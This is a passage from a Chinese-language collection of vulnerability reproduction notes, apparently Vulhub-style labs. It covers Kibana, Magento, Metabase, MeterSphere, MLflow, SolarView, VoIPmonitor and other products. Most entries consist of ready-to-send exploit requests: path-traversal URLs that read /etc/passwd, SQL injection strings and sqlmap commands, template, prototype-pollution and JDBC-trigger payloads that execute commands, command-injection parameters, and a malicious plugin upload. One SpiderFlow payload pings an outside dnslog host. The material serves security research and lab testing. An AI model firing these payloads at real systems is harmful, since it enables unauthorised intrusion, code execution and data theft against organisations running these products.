Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 100
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'" }
可见,id
命令已经成功被执行:
kibana
CVE-2018-17246
Kibana Local File Inclusion (CVE-2018-17246)
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
- https://www.anquanke.com/post/id/168291
环境搭建
启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:
docker compose up -d
环境启动后,访问http://your-ip:5106
即可看到Kibana的默认首页。
漏洞复现
直接访问如下URL,来包含文件/etc/passwd
:
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行docker compose logs
即可发现,/etc/passwd
已经成功被包含:
所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的/tmp/vulhub.js
:
// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
成功包含并返回命令执行结果:
CVE-2019-7609
Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2019-7609
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://slides.com/securitymb/prototype-pollution-in-kibana/#/4
漏洞环境
启动环境前,需要先在Docker主机上执行如下命令,修改vm.max_map_count
配置为262144:
sysctl -w vm.max_map_count=262144
之后,执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6:
docker compose up -d
环境启动后,访问http://your-ip:5601
即可看到Kibana页面。
漏洞复现
原型链污染发生在“Timeline”页面,我们填入如下Payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
成功后,再访问“Canvas”页面触发命令/bin/touch /tmp/success
,可见/tmp/success
已成功创建:
magento
2.2-sqli
Magento 2.2 SQL注入漏洞
Magento(麦进斗)是一款新的专业开源电子商务平台,采用php进行开发,使用Zend Framework框架。设计得非常灵活,具有模块化架构体系和丰富的功能。
其prepareSqlCondition函数存在一处二次格式化字符串的bug,导致引入了非预期的单引号,造成SQL注入漏洞。
参考链接:
- https://www.ambionics.io/blog/magento-sqli
- https://devdocs.magento.com/guides/v2.2/release-notes/ReleaseNotes2.2.8CE.html
环境搭建
执行如下命令启动Magento 2.2.7:
docker compose up -d
环境启动后,访问http://your-ip:8080
,即可看到Magento的安装页面。安装Magento时,数据库地址填写mysql
,账号密码均为root
,其他保持默认:
漏洞复现
分别访问如下链接:
http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-
http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-
可见,在执行))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
和))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) -- -
时,返回的HTTP状态码不同:
通过改变OR的条件,即可实现SQL BOOL型盲注。
利用这个POC,可以读取管理员的session:
metabase
CVE-2021-41277
Metabase任意文件读取漏洞(CVE-2021-41277)
Metabase是一个开源的数据分析平台。在其0.40.0到0.40.4版本中,GeoJSON URL验证功能存在远程文件读取漏洞,未授权的攻击者可以利用这个漏洞读取服务器上的任意文件,包括环境变量等。
参考链接:
- https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
- https://github.com/tahtaciburak/CVE-2021-41277
环境搭建
执行如下命令启动一个Metabase 0.40.4版本服务器:
docker compose up -d
服务启动后,访问http://your-ip:3000
可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:
漏洞复现
只需要使用CURL即可简单地复现这个漏洞:
curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd
可见,/etc/passwd
已经被成功读取:
CVE-2023-38646
Metabase未授权JDBC远程代码执行漏洞(CVE-2023-38646)
Metabase是一个开源的数据分析平台。在其0.46.6版本及以前,存在一处远程代码执行漏洞,未授权的用户可以使用JDBC注入在服务器上执行任意代码。
参考链接:
- https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
- https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
- https://mp.weixin.qq.com/s/MgfIyq0OJwnKOUF2kBB7TA
漏洞环境
执行如下命令启动一个Metabase server 0.46.6:
docker compose up -d
服务启动后,访问http://your-ip:3000
可以查看到Metabase的安装引导页面,我们填写初始账号密码,并且跳过后续的数据库填写的步骤即可完成安装:
漏洞复现
首先,我们需要先访问/api/session/properties
来获取Metabase的setup-token
:
GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
要利用漏洞,必须要获取这个Token。
接着,将刚才获取的[setup-token]
替换进下面这个请求后发送:
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
可见,touch /tmp/success
已成功在Metabase容器中执行:
metersphere
CVE-2021-45788
MeterSphere v1.15.4 认证用户SQL注入漏洞(CVE-2021-45788)
MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.15.4版本及以前,testcase相关API存在一处基于Order by的SQL注入漏洞。
参考链接:
漏洞环境
执行如下命令启动一个MeterSphere 1.15.4服务器:
docker compose up -d
MeterSphere初始化成功后,访问http://your-ip:8081
即可跳转到默认登录页面。
漏洞复现
首先,使用账号admin
和密码metersphere
来登录用户界面。
在http://your-ip:8081/#/track/case/all
创建一个新的测试用例:
然后,发送如下数据包测试SQL注入漏洞(将其中的csrf token和session id替换成你自己的):
POST /test/case/list/1/10 HTTP/1.1
Host: localhost.lan:8081
Content-Length: 3142
Accept: application/json, text/plain, */*
CSRF-TOKEN: [Your CSRF Token]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: MS_SESSION_ID=[Your Session ID]
Connection: close
{"orders":[{"name":"name","type":",if(1=1,sleep(2),0)"}],"components":[{"key":"name","name":"MsTableSearchInput","label":"commons.name","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"tags","name":"MsTableSearchInput","label":"commons.tag","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"module","name":"MsTableSearchInput","label":"test_track.case.module","operator":{"value":"like","options":[{"label":"commons.adv_search.operators.like","value":"like"},{"label":"commons.adv_search.operators.not_like","value":"not like"}]}},{"key":"priority","name":"MsTableSearchSelect","label":"test_track.case.priority","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"P0","value":"P0"},{"label":"P1","value":"P1"},{"label":"P2","value":"P2"},{"label":"P3","value":"P3"}],"props":{"multiple":true}},{"key":"createTime","name":"MsTableSearchDateTimePicker","label":"commons.create_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"updateTime","name":"MsTableSearchDateTimePicker","label":"commons.update_time","operator":{"options":[{"label":"commons.adv_search.operators.between","value":"between"},{"label":"commons.adv_search.operators.gt","value":"gt"},{"label":"commons.adv_search.operators.ge","value":"ge"},{"label":"commons.adv_search.operators.lt","value":"lt"},{"label":"commons.adv_search.operators.le","value":"le"},{"label":"commons.adv_search.operators.equals","value":"eq"}]}},{"key":"creator","name":"MsTableSearchSelect","label":"api_test.creator","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"},{"label":"commons.adv_search.operators.current_user","value":"current user"}]},"options":{"url":"/user/list","labelKey":"name","valueKey":"id"},"props":{"multiple":true}},{"key":"reviewStatus","name":"MsTableSearchSelect","label":"test_track.review_view.execute_result","operator":{"options":[{"label":"commons.adv_search.operators.in","value":"in"},{"label":"commons.adv_search.operators.not_in","value":"not in"}]},"options":[{"label":"test_track.review.prepare","value":"Prepare"},{"label":"test_track.review.pass","value":"Pass"},{"label":"test_track.review.un_pass","value":"UnPass"}],"props":{"multiple":true}}],"filters":{"reviewStatus":["Prepare","Pass","UnPass"]},"planId":"","nodeIds":[],"selectAll":false,"unSelectIds":[],"selectThisWeedData":false,"selectThisWeedRelevanceData":false,"caseCoverage":null}
可见,成功延时了2秒左右:
使用SQLMap来获取数据库用户信息:
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3
python sqlmap.py -r req.txt --dbms mysql --technique T --prefix , --level 3 --current-user
plugin-rce
MeterSphere 插件接口未授权访问及远程代码执行
MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.16.3版本及以前,插件相关管理功能未授权访问,导致攻击者可以通过上传插件的方式在服务器中执行任意代码。
参考连接:
漏洞环境
执行如下命令启动一个MeterSphere 1.16.3服务器:
docker compose up -d
MeterSphere初始化成功后,访问http://your-ip:8081
即可跳转到默认登录页面。
漏洞复现
首先,我们访问http://your-ip:8081/plugin/list
可见成功返回插件信息(虽然此时插件为空),说明/plugin/*
接口存在未授权访问问题,可以利用。
利用漏洞前,需要准备一个恶意MeterSphere插件。Vulhub提供了一个已经编译好的插件以供测试(请勿在非授权环境下测试)。
将恶意插件使用如下数据包上传:
POST /plugin/add HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Length: 11985
------WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Disposition: form-data; name="file"; filename="Evil.jar"
[Paste your jar file]
------WebKitFormBoundaryJV2KX1EL5qmKWXsd--
如果使用Burpsuite来复现漏洞,你需要注意数据包编码问题,否则可能将无法复现。
虽然这次上传会返回错误信息,但实际上恶意JAR包已经成功被添加进系统ClassLoader中。
发送如下数据包来执行org.vulhub.Evil
类中的恶意代码:
POST /plugin/customMethod HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 89
{
"entry": "org.vulhub.Evil",
"request": "id"
}
MKdocs
MKdocs 任意文件读取漏洞 CVE-2021-40978
漏洞描述
MKdocs中存在通过 %2e%2e 来遍历目录,读取敏感文件
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
MLflow
MLflow get-artifact 任意文件读取漏洞 CVE-2023-1177
漏洞描述
使用 MLflow 模型注册表托管 MLflow 开源项目的用户 mlflow server或者 mlflow ui使用早于 MLflow 2.2.1 的 MLflow 版本的命令如果不限制谁可以查询其服务器(例如,通过使用云 VPC、入站请求的 IP 白名单或身份验证 /授权中间件)。
此问题仅影响运行 mlflow server和 mlflow ui命令。 不使用的集成 mlflow server或者 mlflow ui不受影响; 例如,Azure Machine Learning 上的 Databricks Managed MLflow 产品和 MLflow 不使用这些命令,并且不会以任何方式受到这些漏洞的影响。
漏洞影响
网络测绘
漏洞复现
登陆页面
验证POC
POST /ajax-api/2.0/mlflow/registered-models/create
Content-Type: application/json
{"name": "testfile"}
POST /ajax-api/2.0/mlflow/model-versions/create
Content-Type: application/json
{"name": "testfile", "source": "/etc"}
/model-versions/get-artifact?path=passwd&name=testfile&version=1
ntopng
CVE-2021-28073
ntopng权限绕过漏洞(CVE-2021-28073)
ntopng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。
参考链接:
漏洞环境
执行如下命令启动ntopng:
docker compose up -d
环境启动后,访问http://your-ip:3000
将被跳转到登录页面,默认密码admin/admin,首次登录将会重设密码。
漏洞复现
根据参考链接中的方法,编写一个简单的poc.py。首先,计算出ntopng lua目录的长度:
python poc.py --url http://your-ip:3000/ baselength
可见,Vulhub靶场中的长度为36。
然后,找到我们想要越权访问的页面或接口,比如/lua/find_prefs.lua
,正常访问时会302跳转到登录页面,无权限。
使用POC生成越权访问URL:
python poc.py --url http://your-ip:3000/ generate -l 36 -p find_prefs.lua
访问这个URL,发现可以越权返回正常信息:
后续更深入的利用方法,可以自行修改poc.py利用。
skywalking
8.3.0-sqli
Apache Skywalking 8.3.0 SQL注入漏洞
Apache Skywalking是一款针对分布式系统的应用程序性能监视工具,为微服务,云原生和基于容器(Docker,Kubernetes,Mesos)的体系结构而设计。
在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。
参考链接:
- https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
- https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b#diff-ec87a1cdf66cdb37574d9eafd4d72d99ed94a38c4a8ff2aa9c7b8daeff502a2c
漏洞环境
执行如下命令启动一个Apache Skywalking 8.3.0版本:
docker compose up -d
环境启动后,访问http://your-ip:8080
即可查看Skywalking的页面。
漏洞复现
我们使用graphiql的桌面APP发送如下graphql查询:
可见,SQL语句已经出错,metricName
参数的值被拼接到from
后面。
这个请求的HTTP数据包为:
POST /graphql HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"sqli",
"state":"ALL",
"paging":{
"pageSize":10
}
}
}
}
更加深入的利用,大家可以自行研究,并欢迎将文档提交到Vulhub中。
SpiderFlow
SpiderFlow save 远程命令执行漏洞
漏洞描述
SpiderFlow 平台以流程图的⽅式定义爬⾍,是⼀个⾼度灵活可配置的爬⾍平台
官⽹:https://www.spiderflow.org/
漏洞影响
网络测绘
漏洞复现
主页面
发送请求包执行命令
POST /function/save
id=&name=cmd¶meter=yw&script=}Java.type('java.lang.Runtime').getRuntime().exec('ping chwd71.dnslog.cn');{
SolarView
CVE-2022-29303
SolarView Compact conf_mail.php 远程命令执行漏洞
漏洞描述
SolarView Compact conf_mail.php 存在远程命令执行漏洞,攻击者通过构造特殊的请求,可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
POST /conf_mail.php
mail_address=%3Bid%3B&button=%83%81%81%5B%83%8B%91%97%90M
CVE-2022-40881
SolarView network_test.php 远程命令执行漏洞
漏洞描述
SolarView network_test.php 存在远程命令执行漏洞,攻击者通过构造特殊的请求,可以获取服务器权限
漏洞影响
网络测绘
漏洞复现
主页面
验证POC
POST /network_test.php
host=%0acat${IFS}/etc/passwd%0a&command=ping
VoIPmonitor
CVE-2021-30461
VoIPmonitor 远程命令执行漏洞
漏洞描述
VoIPmonitor是“具有在Linux上运行的SIP RTP和RTCP VoIP协议的具有商业前端的开源网络数据包嗅探器”。
使用通过Web界面到达的用户提供的数据,允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。
漏洞影响
网络测绘
漏洞复现
登录页面如下
index.php文件中的关键代码
$setConfigurationTypeValue_rslt = array();
if(file_exists('config/configuration.php')) {
$existsConfiguration = true;
if(isset($_POST['recheck'])) {
if(!empty($_POST['SPOOLDIR'])) {
setConfigurationTypeValue__index('SPOOLDIR', $_POST['SPOOLDIR']);
}
}
传入参数 recheck 和 SPOOLDIR, 并将SPOOLDIR
写入 config/configuration.php
中
发送如下请求包
POST /index.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 49
SPOOLDIR=test%22.system%28id%29.%22&recheck=annen
Zabbix
CVE-2022-23131
Zabbix SAML身份绕过漏洞
漏洞描述
Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。一家公共漏洞经纪人,一家专门从事安全漏洞获取的公司,也公开宣布了他们对该软件的兴趣。
我们在 Zabbix 的客户端会话实现中发现了一个严重漏洞,该漏洞可能导致整个网络遭到破坏。在本文中,我们介绍了不同类型的会话存储,并讨论了实现安全的原因。然后,我们描述了我们在 Zabbix 中发现的漏洞的技术细节、其影响以及如何预防。让我们深入了解它!
漏洞影响
网络测绘
漏洞复现
登录页面
通过POC获取 zbx_session
替换后点击 SAML登录